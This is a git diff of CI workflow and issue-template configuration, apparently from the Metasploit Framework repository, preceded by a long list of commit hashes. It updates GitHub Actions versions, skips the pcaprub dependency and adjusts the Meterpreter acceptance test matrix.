| e80f0ef8cd | |||
| 03a58c784b | |||
| b72d8d16d4 | |||
| 367783bcb5 | |||
| 9ae54e08bc | |||
| 5975d668f6 | |||
| b109fe0cf7 | |||
| 12b188d186 | |||
| aec2a82af4 | |||
| d546db6055 | |||
| 4039ae137a | |||
| 29524fa7f8 | |||
| 1e6cf524b9 | |||
| c37984edb2 | |||
| cf2f76e6a2 | |||
| 23e184c9ce | |||
| 77a2340b34 | |||
| 85974d16c2 | |||
| ef8f8bc8d3 | |||
| 577304cf7c | |||
| ae1cb57dc3 | |||
| 46e34e5362 | |||
| bb3e872bc5 | |||
| 0e9cad6d45 | |||
| bed552d26e | |||
| 48221e594d | |||
| 7ac4387d35 | |||
| b91648f065 | |||
| 41b517d809 | |||
| 1ff1302df7 | |||
| 372b792b8c | |||
| 18ea7b39af | |||
| 02311bf94a | |||
| 6132264dcd | |||
| be2d2d61ca | |||
| 35778e92b2 | |||
| 1c73cf938f | |||
| 3c46f51924 | |||
| b259c5d6a7 | |||
| 612feac5f1 | |||
| e21dcf34ed | |||
| d9defd40e4 | |||
| 10dfe9c428 | |||
| 5193d30db7 | |||
| 81eba7a6e7 | |||
| 2a4d50c6e7 | |||
| 1c334ad670 | |||
| e5b5f12a4e | |||
| 5054b3bfd0 | |||
| a867793870 | |||
| 546de49bec | |||
| 6e4294c013 | |||
| 2b01b86374 | |||
| 15d22d2807 | |||
| 024b855231 | |||
| bf6d2de53d | |||
| c6c1414908 | |||
| 473672047f | |||
| 064a2f3468 | |||
| c8d2727023 | |||
| 764a87fda8 | |||
| 4d0ba2fa1d | |||
| 1abaef4945 | |||
| 056ed770b5 | |||
| 59df04be97 | |||
| f10619d870 | |||
| ab4f83ffbe | |||
| 6702dd0195 | |||
| 68f333cb7b | |||
| 2c0f99a649 | |||
| 2efbf6e2f5 | |||
| 44916e67d5 | |||
| 3d476f4ef3 | |||
| b9cf7ba894 | |||
| 1c36d89942 | |||
| c9504f9c53 | |||
| 96316a94fe | |||
| 577898d91b | |||
| b5906418c2 | |||
| 33306fa4dd | |||
| a8c240f671 | |||
| c70092a2c7 | |||
| 08a19959fe | |||
| b5de25a2b6 | |||
| 9a2ec90c16 | |||
| e5f96bdbe1 | |||
| 8a793dd1b0 | |||
| 7ce13101df | |||
| 779da83d59 | |||
| e6c4195ad3 | |||
| 26e2b2e319 | |||
| 14181572c1 | |||
| 9e41825e51 | |||
| acc15c23fe | |||
| d05b85de50 | |||
| 97a3e0291e | |||
| 530d58de49 | |||
| 38c9185564 | |||
| 9391e11202 | |||
| 7a7c7eb177 | |||
| 94eeba3521 | |||
| 5ea35c9ffb | |||
| 3cbbfe65f1 | |||
| 2f97f86f49 | |||
| 251305d26b | |||
| fe84c0dff7 | |||
| 96241b3a6e | |||
| 6ad359ee96 | |||
| 4cb18483d6 | |||
| 7a385431cb | |||
| 44bf6867c6 | |||
| 49532613e5 | |||
| 5c25bfd908 | |||
| 502511a71a | |||
| f496a71cf0 | |||
| aac74778b9 | |||
| deabf9b1d8 | |||
| 995c806d81 | |||
| 4784afae6a | |||
| 56f6020ff5 | |||
| 3a076d6cdb | |||
| f2a1d16fbc | |||
| 057facea90 | |||
| 288d4b8c20 | |||
| 15d0d4f0df | |||
| 4f04f91b71 | |||
| 4c525dad66 | |||
| 7bff3042db | |||
| c278ef9b73 | |||
| d20ef7a08b | |||
| 08f6da7b33 | |||
| bcefde29c3 | |||
| 13d2968fad | |||
| 21b49be380 | |||
| 73dbe2e89d | |||
| 904e34434e | |||
| 15652bc29c | |||
| 8c5628826f | |||
| 583d39b038 | |||
| dd3d1a9397 | |||
| 2b938d12e2 | |||
| a25b0ee5e0 | |||
| 8d7907edee | |||
| 11d1a5938e | |||
| 7411dc1b1b | |||
| 71fb0876f6 | |||
| 953382731e | |||
| 67e402e1be | |||
| 094d6ee36b | |||
| e9e5a44522 | |||
| 8e3fbcae26 | |||
| b8a0e33ce3 | |||
| 6430b3f138 | |||
| 46a0052286 | |||
| 2bd93ae72c | |||
| f8bdb02593 | |||
| 4921f6bbd1 | |||
| 1fe448f2f4 | |||
| 9de20d3c7f | |||
| d8bdc258fb | |||
| 7f0f65d867 | |||
| 82e9c2703f | |||
| e58ef0fee4 | |||
| a5dcf5a2f4 | |||
| dfa54d02b9 | |||
| 8af928ec36 | |||
| aa30a00c0e | |||
| 7a5fe5b32c | |||
| 919c846064 | |||
| be631e5213 | |||
| 5f1fa2a678 | |||
| 37e82384e4 | |||
| 06dcc82ced | |||
| 9db6ac7e3c | |||
| fadb0f45dd | |||
| 9e5783a3e7 | |||
| 31ebc8273a | |||
| 854ec41db1 | |||
| b31abcc9b2 | |||
| 763a97d40a | |||
| 334a469d2c | |||
| f56c9fc9ac | |||
| 391bc4e69e | |||
| eb570f883a | |||
| 847a72c417 | |||
| b1fb58749b | |||
| fbdb025542 | |||
| a4305f0ca0 | |||
| 5d7251ce44 | |||
| 23a9938283 | |||
| 482d2b28b1 | |||
| fd3ca96988 | |||
| d60e38220e | |||
| 97ef243d2e | |||
| de6ed9e1d6 | |||
| 6ca4c113ee | |||
| 337400b9b8 | |||
| 1e7b74a0e5 | |||
| 4ff399844f | |||
| c74fd86961 | |||
| 3bb1d2bc02 | |||
| 5ba4aba912 | |||
| 39b094313f | |||
| b8aa55c322 | |||
| 6d14a244a4 | |||
| 977a9f3cd4 | |||
| 40c8c63529 | |||
| e238df4ad7 | |||
| a8d46b3e7a | |||
| f5691e747f | |||
| 6dec82ec24 | |||
| 9ec36f3d4d | |||
| 2919b36f2b | |||
| 70ef0dcb0d | |||
| 518c1e5d3c | |||
| ad7e348eaa | |||
| d7cf9155a6 | |||
| 1ac2b3b8e1 | |||
| 607a2789d0 | |||
| 54788067ff | |||
| 1ba704b1cb | |||
| 46273d5f08 | |||
| f9419c4839 | |||
| ea1dafa353 | |||
| 236f88541f | |||
| 4060e069ed | |||
| 1c4258fd1e | |||
| 56a9beb39d | |||
| f1586f08c3 | |||
| 2cf045d3c4 | |||
| 57f97ac79e | |||
| 0075212fa9 | |||
| 677c355f76 | |||
| 18b2eec1db | |||
| e7f2abbf9e | |||
| 225ef6847f | |||
| 5e25a99700 | |||
| 63e1b49da1 | |||
| c0e02bdeeb | |||
| a8bc6cc27f | |||
| d57c9fb464 | |||
| 6d8666e35b | |||
| f8bd7dfd83 | |||
| cdc66dd91f | |||
| e44b57249d | |||
| 5c7061cc0c | |||
| 5a14575a31 | |||
| 017dcd89a6 | |||
| caf26fbe55 | |||
| 9d66ff650d | |||
| b031311892 | |||
| 381b840f11 | |||
| e711c9ea43 | |||
| 2cfcb74303 | |||
| e9296d1add | |||
| c91660bc54 | |||
| 6f5ec8a069 | |||
| 7da13cedc4 | |||
| b8e2feebe0 | |||
| ffbaf3b141 | |||
| 57c882cab5 | |||
| ad10cb84a9 | |||
| 43f4705e60 | |||
| 656e65f9b0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| dc6d84d823 | |||
| 024bdaec6d | |||
| ad4b47f6ac | |||
| 0d70f254bd | |||
| 234517e3eb | |||
| 6ffebfc822 | |||
| c53bff7ee1 | |||
| b4a043f511 | |||
| 75c2de8c3d | |||
| 85e3eb51a5 | |||
| 7da5ef87e7 | |||
| 99c335a2b4 | |||
| fd7b49981d | |||
| aa0545618b | |||
| 4cb904535e | |||
| 8beb6255cb | |||
| 04c0dede5e | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| ec8ee2814a | |||
| a7c547542f | |||
| 89d6c8c8ef | |||
| de53f45e68 | |||
| 469a325f9b | |||
| 6a851855a8 | |||
| 85897a2596 | |||
| 80e9f1b97d | |||
| a09cf6471a | |||
| a0bc08c6ec | |||
| b10e8d566b | |||
| 98667edf76 | |||
| ee3b8b40b6 | |||
| 94a84960a2 | |||
| e0804cf0cb | |||
| eb902457f2 | |||
| 4bdff53358 | |||
| 08beaddf0a | |||
| cdfa421d15 | |||
| 50579fb1de | |||
| 03f3bf0f2f | |||
| 8d4142a8c7 | |||
| d7f2ed4e4a | |||
| 9dca2e3820 | |||
| 2028fbd226 | |||
| f341f72c72 | |||
| e4af94bb29 | |||
| f92b2662c4 | |||
| 9bb7e0e379 | |||
| adf455e8cb | |||
| 1c5379918c | |||
| 5e59389d2b | |||
| 00cfbc357a | |||
| 216cc6762f | |||
| b2312c97d3 | |||
| 9fdac8fd28 | |||
| 4c1e1f614d | |||
| 52971ad2f6 | |||
| 7c448ceb50 | |||
| afdb34d64a | |||
| 0d1ab00144 | |||
| d5a59ceef1 | |||
| a9f5c11d68 | |||
| 2ab1b7a310 | |||
| 08c5e6a689 | |||
| 97c3ccc8af | |||
| d67d39ace6 | |||
| ed421c21ca | |||
| 3b8f684d08 | |||
| 2f023f7315 | |||
| 2390058b37 | |||
| 11d58ef2e8 | |||
| c162cf3aec | |||
| f8d541daad | |||
| 63eb5f2a35 | |||
| e9df84555e | |||
| beef573fb8 | |||
| d6488dc0c3 | |||
| 8b970af7f6 | |||
| f950711da1 | |||
| d0beea91bd | |||
| 47a58bda3b | |||
| 357bdc8c10 | |||
| b654275ec4 | |||
| 11c12fcb6d | |||
| e72242949e | |||
| a5698f6aa6 | |||
| 94a4a6173f | |||
| 3182cb4000 | |||
| 0a2dea523f | |||
| ce43db0904 | |||
| 54df3d25e0 | |||
| d461187d58 | |||
| 4c404765a4 | |||
| 91c58ba268 | |||
| 526da210ad | |||
| 0394f5f7ad | |||
| 78bac2636b | |||
| 7fafab9680 | |||
| 6f17088e33 | |||
| eeb74cd5e1 | |||
| 6fc0704930 | |||
| e3062d45e0 | |||
| 300c53d005 | |||
| fc66cd1522 | |||
| aebda4f78c | |||
| a31de9eb05 | |||
| fb26c93291 | |||
| e0f20454ea | |||
| 77fb5d02b2 | |||
| 342492557d | |||
| 6a16602a08 | |||
| 7ca256560d | |||
| 9c9af0dca1 | |||
| 1e374403ec | |||
| 22a05c8bf5 | |||
| 3ac9c0c38a | |||
| d65ceb9abc | |||
| b86df4820c | |||
| 96241f509a | |||
| 065abf6b92 | |||
| 44b4b3b5bc | |||
| 4e61596e7a | |||
| e858628292 | |||
| 549ee43df9 | |||
| 2ed3b771ed | |||
| c6a6809700 | |||
| c895364675 | |||
| a4d602669b | |||
| be84dbaed8 | |||
| 45d2c7f4e0 | |||
| 5d7cf90521 | |||
| 5e30328268 | |||
| 6b376b9156 | |||
| e9ff2e55dc | |||
| 9ac3739605 | |||
| 0641839e69 | |||
| a58f7f0558 | |||
| db099f8f4c | |||
| 02302439a0 | |||
| c911ec1413 | |||
| c2fe6d6696 | |||
| c1186be67d | |||
| 8d344a921d | |||
| abc108d81a | |||
| 0023e19e57 | |||
| 5d5ccd25e1 | |||
| 6bc3e1eb9a | |||
| 7bacc642bf | |||
| 2f3e207277 | |||
| b019b2ff89 | |||
| 742148511a | |||
| d9aa7f914e | |||
| df111afb06 | |||
| e3810a4db6 | |||
| c1459df10f | |||
| a14b28e941 | |||
| ef178298b2 | |||
| 1ee32a2d8e | |||
| 5852077d84 | |||
| d00249f083 | |||
| ff6db7f337 | |||
| 0f4644df9e | |||
| f5e81aee2a | |||
| 7d37c017fe | |||
| e946d78993 | |||
| 9c869a6768 | |||
| 5de0e4e234 | |||
| 52a23e3afb | |||
| 1749fa1e50 | |||
| 8eefea76ce | |||
| 4e106c2a73 | |||
| 95eb4cc304 | |||
| 3534181067 | |||
| d3b0c538a1 | |||
| 62d3cfa72d | |||
| ce55c1cd78 | |||
| 486f42896f | |||
| 560f668906 | |||
| a4ffd038a3 | |||
| 58f79c7b47 | |||
| 7e88279299 | |||
| cf24bca946 | |||
| c55d4ceda0 | |||
| 387c90e91e | |||
| 36cc8f6267 | |||
| b0d7695e10 | |||
| 1f91d2eee9 | |||
| 5f396245f2 | |||
| fb815f5faf | |||
| 5f004106ac | |||
| c27e8f0433 | |||
| 603e5b2bff | |||
| 862194d63f | |||
| 61414fab27 | |||
| 16dd06bbac | |||
| 7b74b758ad | |||
| dd4288e734 | |||
| c15f639bd4 | |||
| daa6d5363f | |||
| 64108de524 | |||
| 17bed1936e | |||
| d93e1fb446 | |||
| 68b7f29187 | |||
| 90d3d6fc0a | |||
| 374d724567 | |||
| 78c57c1c5c | |||
| cb0ee49f71 | |||
| ff44932113 | |||
| bc16684046 | |||
| 93cfdd88cb | |||
| b336bcaf30 | |||
| 87689ce5cb | |||
| a28e9fb841 | |||
| 453c8d8d69 | |||
| 3bad98afc6 | |||
| f5ae039ae2 | |||
| 48e2e09dfc | |||
| 62b47afee1 | |||
| 479190acf6 | |||
| 83dccfafaf | |||
| 05800296f3 | |||
| 4039ea523a | |||
| 32e5dfb12d | |||
| e5326107e1 | |||
| 45880850f5 | |||
| 5b8e7594f2 | |||
| 41232f438e | |||
| f794268020 | |||
| 0cd90259fc | |||
| 7756dc9d8e | |||
| 9f126a4d24 | |||
| 70a31560c4 | |||
| f000c39b4a | |||
| eca611aaac | |||
| 82b8556c78 | |||
| cbe99c488e | |||
| 81ff2606ad | |||
| 509ec2c9b5 | |||
| 76657c8f14 | |||
| 82b9fda14e | |||
| a6e3b3bb64 | |||
| 10d4b9233b | |||
| 7cd1b75497 | |||
| abfec99735 | |||
| 56afed78ff | |||
| 095540cea6 | |||
| 232643f426 | |||
| aee99ee52a | |||
| 3c16ec2ad8 | |||
| 152056b001 | |||
| 25b34101f1 | |||
| 4026d99d0f | |||
| cc8fdc0427 | |||
| cd8cc75cf3 | |||
| 59f49fa880 | |||
| 6b3ce045e7 | |||
| 2d24087bd7 | |||
| 45c54797ac | |||
| 4c13d350b3 | |||
| 3d6ddf769e | |||
| ce21e84ffe | |||
| 0f7e00d30e | |||
| befc87f9f0 | |||
| a76ae3a4f7 | |||
| ea803063b1 | |||
| 49ef94728b | |||
| f1fc6b7cdd | |||
| ab9576f83d | |||
| 2718c078d2 | |||
| d26db0b1dd | |||
| 26e7807154 | |||
| 9105966b20 | |||
| b6dbc81f44 | |||
| 456eecdc52 | |||
| b900964d06 | |||
| 02c892c3fc | |||
| 15bf3cb472 | |||
| 25f02ebc7c | |||
| a0258e3ff6 | |||
| 11bcd43562 | |||
| cc4fa7cd39 | |||
| 4efad9eb24 | |||
| 4585ec0336 | |||
| 1cb80c9b28 | |||
| 56da86fe6b | |||
| 5f4c17edbf | |||
| 6f1fa8daff | |||
| 22242732d9 | |||
| b171b5e77c | |||
| 7307c9810b | |||
| 1b6efbbcd6 | |||
| 4ae62a431b | |||
| c5075ade2a | |||
| e6321e46c4 | |||
| 47e7453930 | |||
| 4967d3e95d | |||
| f2f34f64c8 | |||
| 4676e6d5d4 | |||
| 708c795890 | |||
| b2fa201a7d | |||
| a1f31d909a | |||
| 0146527e55 | |||
| 147aa3df33 | |||
| 402434bbf2 | |||
| fc35a116bb | |||
| bfd22f8f01 | |||
| 1438a88eb5 | |||
| 10e0206b6e | |||
| 67933c3819 | |||
| 7dbd938e3b | |||
| c31b0f0dd1 | |||
| 3ffeef36f6 | |||
| ebc18db0ac | |||
| 4906ea228d | |||
| 7ab487612c | |||
| 2ea1f43f12 | |||
| c293c273ba | |||
| 3ca13d9358 | |||
| 2eec5e0914 | |||
| 27b2cdf5b1 | |||
| 32380d8a26 | |||
| a04943063e | |||
| ff70cc7e42 | |||
| e3046d18c9 | |||
| 622277e960 | |||
| 2ead152173 | |||
| 8c007c0ef7 | |||
| e1b3c56de8 | |||
| 65ea1188e2 | |||
| 0d591a3136 | |||
| c60da4ad58 | |||
| d20a1703b1 | |||
| 21d23be8e3 | |||
| 31daaf58fe | |||
| 397b9971a3 | |||
| c0be4c2f72 | |||
| 473ded345b | |||
| 4321aafe77 | |||
| bccd906bd2 | |||
| e9d6bab975 | |||
| 98e6bae077 | |||
| ef9a165d22 | |||
| e6e2106140 | |||
| 9b050e29ae | |||
| fff8d20eb8 | |||
| bba178e87f | |||
| 4bca269e01 | |||
| 46909f63bc | |||
| 06b6e969e4 | |||
| aa27b140cf | |||
| 38313e9962 | |||
| 34bd661d3f | |||
| 8d4ae4bc78 | |||
| 2750deedee | |||
| 218f652429 | |||
| dd701c1cfa | |||
| 9870d97ece | |||
| 08123a190c | |||
| 7f8da5a121 | |||
| 86281e860d | |||
| 5c09c86349 | |||
| d98a1e9aaa | |||
| 1b4099f5a3 | |||
| f0ab3a7140 | |||
| 58425df0ef | |||
| 13ae9fcded | |||
| 9d757990fe | |||
| d59d5e5524 | |||
| 4e1ec6484a | |||
| 8eb1f61217 | |||
| 223cb245ba | |||
| 13b19ba537 | |||
| 00cc8dcc09 | |||
| 45a5c62308 | |||
| cb83782159 | |||
| 69e5caa1a0 | |||
| 1b12dc3940 | |||
| 5e9ff17e59 | |||
| fb9bd2cae1 | |||
| 9d873cb7ac | |||
| 24490cbe1e | |||
| 56016cb3e7 | |||
| 42cdda7200 | |||
| a41fd9deda | |||
| 24fc989305 | |||
| 4e6a29d0fb | |||
| e011fbeb32 | |||
| bdb13601ae | |||
| ef84759dd4 | |||
| ad608f6999 | |||
| 3fa9416044 | |||
| fc988c2033 | |||
| 6e1580e5f5 | |||
| 51523e0971 | |||
| 04361e1005 | |||
| 5314902e74 | |||
| 12833fd0d5 | |||
| 7cd14a81b3 | |||
| 1da4333611 | |||
| 6659684fdf | |||
| 1a07ab5aee | |||
| 987bed6972 | |||
| f351d7b5e1 | |||
| fec66b5bbe | |||
| 6056081de5 | |||
| 8301e6c766 | |||
| 5d5f711dcd | |||
| 9ce3fdc557 | |||
| 4919291ec8 | |||
| 21340d0fd8 | |||
| 87cb12731e | |||
| e4005feb30 | |||
| 110cea8cc9 | |||
| 7482948ab7 | |||
| c5cfc995c2 | |||
| 3d98cf7e85 | |||
| eef180f9c8 | |||
| b5aeab0c9f | |||
| 893da00c6a | |||
| d0585e0df5 | |||
| a4750b11bc | |||
| 9c23f86d83 | |||
| beaa1273cc | |||
| 77a93e452f | |||
| 64c9968328 | |||
| c243125612 | |||
| 468265e815 | |||
| 9301e29a6e | |||
| cf0477138d | |||
| 2d683954de | |||
| f947e6a438 | |||
| d8f36d65a8 | |||
| 06369281b9 | |||
| 8ce328022c | |||
| 7331db43dd | |||
| 00f508170c | |||
| 1a7eefd972 | |||
| ea41ec7a5d | |||
| d4166098a8 | |||
| 82057178ca | |||
| 67a343230d | |||
| 87cd4aac5e | |||
| 2a56c3f28b | |||
| 7024d4ecac | |||
| 4dec6640c0 | |||
| 7442655ab9 | |||
| 21f3335c31 | |||
| f1317fa050 | |||
| 0ce7b03397 | |||
| a7c4b29748 | |||
| 25ef7d1272 | |||
| 8364ae896b | |||
| c7e0e094fa | |||
| db08ff5293 | |||
| e8d45b00ba | |||
| b28668790d | |||
| 10ee87c712 | |||
| be1229747f | |||
| 22cb55b36b | |||
| ea21036995 | |||
| 4272678938 | |||
| fa8c40072c | |||
| b9c65d5b75 | |||
| ba196b4264 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| c06d491d28 | |||
| 1cde6198b5 | |||
| a55132b36f | |||
| c8121ebd8e | |||
| 21225552b5 | |||
| ce5188a76c | |||
| 17420289dc | |||
| 23110e2ee3 | |||
| 5163aeb3f2 | |||
| 8bb7b98ce9 | |||
| dd209deeb3 | |||
| e5790f8d6e | |||
| 5b888c49cb | |||
| eef0527668 | |||
| 5584a5a31e | |||
| c27412a1ac | |||
| 00104ce467 | |||
| 8b70c3ec77 | |||
| 289dcf733c | |||
| f83f183fe2 | |||
| c55290a44a | |||
| 42cf28dbbe | |||
| 05f0b6a70c | |||
| 58d03a3dab | |||
| 24810183ca | |||
| 94b5211525 | |||
| 763fae6cd7 | |||
| a7e8be4860 | |||
| 9f9f18c73f | |||
| df040b30aa | |||
| a408181def | |||
| edfa1e6011 | |||
| 3f3531d119 | |||
| ad6e4618df | |||
| bfff35eb63 | |||
| 00ccebe8ce | |||
| 62f3dafd91 | |||
| 9bd819e2d7 | |||
| 40683ff591 | |||
| cd3556dd71 | |||
| 7b76cc01f9 | |||
| 7e4e6edc2f | |||
| 54bce7fcb5 | |||
| b44bf1ce7e | |||
| 7137820381 | |||
| 79a3e756b3 | |||
| 98906a5976 | |||
| 7b4caf79f8 | |||
| 3a6086d88b | |||
| 0dea63904f | |||
| ba9cb1ef40 | |||
| 71f019c359 | |||
| ff699aae00 | |||
| 5b5d5ade40 | |||
| 93c13ad6a7 | |||
| d07ad325b2 | |||
| 013e4b5af2 | |||
| 9253b35fb2 | |||
| 5c89df694c | |||
| 50b7e0305e | |||
| 67b0168669 | |||
| c62f9a1c45 | |||
| eb43039a18 | |||
| 99c2bb2eca | |||
| 8e56a9761f | |||
| 93d38f2d53 | |||
| 13e3d037c9 | |||
| 3024824cc9 | |||
| 8ea82693a9 | |||
| 3d405cda0a | |||
| 7e29519c9c | |||
| 60b72fb4be | |||
| 9ee838d08e | |||
| 469d33f31c | |||
| b2f847706f | |||
| 2dae0a2398 | |||
| 060dc84c18 | |||
| 2c757bc85b | |||
| 58f9a39f72 | |||
| e0dd5117aa | |||
| 5ffac9af0c | |||
| 0863645fdb | |||
| b0929fe445 | |||
| 93d5736f72 | |||
| 9f795574cd | |||
| dabf0b54e3 | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| f0862d4d76 | |||
| 2d065d59cf | |||
| 2f23d53e90 | |||
| ea189d6c34 | |||
| 2cf8b3808c | |||
| 1a3b00e593 | |||
| f5d5541e73 | |||
| 9f10f9402c | |||
| 35609d07e9 | |||
| b4dee448bc | |||
| 7cd447b5d0 | |||
| 203470302a | |||
| 6972a910fb | |||
| 6a04f5ed3d | |||
| fadd9afb56 | |||
| dd03ad30d0 | |||
| ea63fe5652 | |||
| bcaf3b2a3b | |||
| 9a8f7af321 | |||
| 26b774d92b | |||
| be48eb69f4 | |||
| c126458f6d | |||
| 283b6aa938 | |||
| 8247a98083 | |||
| 6e0adcdbbb | |||
| 8529ca20f2 | |||
| e0ee339b0a | |||
| e3d03ea963 | |||
| 614d9e430e | |||
| 6a5ee283f9 | |||
| a270587070 | |||
| fb7ded054e | |||
| 02b1211deb | |||
| 8525cb858f | |||
| 6c27e63c55 | |||
| c701326a21 | |||
| 40fe50c2b4 | |||
| a503aefe46 | |||
| 9003b055a6 | |||
| 8b33ca316d | |||
| 2c48ee5b3f | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| 79d3cc81cb | |||
| 8e33badd80 | |||
| 823824163e | |||
| e3c97148e8 |
@@ -2,4 +2,7 @@ blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: Termux Issues?
|
||||
url: https://github.com/rapid7/metasploit-framework/issues/11023
|
||||
about: Termux is not officially supported, check here for more info
|
||||
about: Termux is not officially supported, check here for more info
|
||||
- name: Android Payload Issues?
|
||||
url: https://github.com/rapid7/metasploit-framework/issues/19154
|
||||
about: Check here for more info
|
||||
|
||||
@@ -38,7 +38,9 @@ on:
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
@@ -63,10 +65,10 @@ jobs:
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
# PHP - Temporarily removed as tests are timing out on Github actions
|
||||
# - { name: php, runtime_version: 5.3 }
|
||||
# - { name: php, runtime_version: 7.4 }
|
||||
# - { name: php, runtime_version: 8.2 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
@@ -85,6 +87,8 @@ jobs:
|
||||
HOST_RUNNER_IMAGE: ${{ matrix.os }}
|
||||
METERPRETER: ${{ matrix.meterpreter.name }}
|
||||
METERPRETER_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
|
||||
# pcaprub skipped until new version released: https://github.com/pcaprub/pcaprub/issues/70
|
||||
BUNDLE_WITHOUT: "coverage development pcaprub"
|
||||
|
||||
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
|
||||
steps:
|
||||
@@ -92,7 +96,7 @@ jobs:
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
@@ -100,11 +104,11 @@ jobs:
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
- uses: actions/setup-java@v4
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
@@ -126,11 +130,18 @@ jobs:
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# pcaprub skipped until new version released: https://github.com/pcaprub/pcaprub/issues/70
|
||||
- name: Remove pcaprub dependency
|
||||
shell: pwsh
|
||||
if: runner.os == 'Windows':
|
||||
run: |
|
||||
Set-Content -Path "Gemfile.lock" -Value (Get-Content -Path "Gemfile.lock" | Select-String -Pattern 'pcaprub' -NotMatch)
|
||||
Set-Content -Path "metasploit-framework.gemspec" -Value (Get-Content -Path "metasploit-framework.gemspec" | Select-String -Pattern 'pcaprub' -NotMatch)
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
@@ -153,11 +164,11 @@ jobs:
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
bundle exec rspec spec/acceptance/meterpreter_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
@@ -172,7 +183,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
@@ -182,18 +193,17 @@ jobs:
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
@@ -216,7 +226,7 @@ jobs:
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -195,7 +195,7 @@ jobs:
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
|
||||
@@ -0,0 +1,166 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
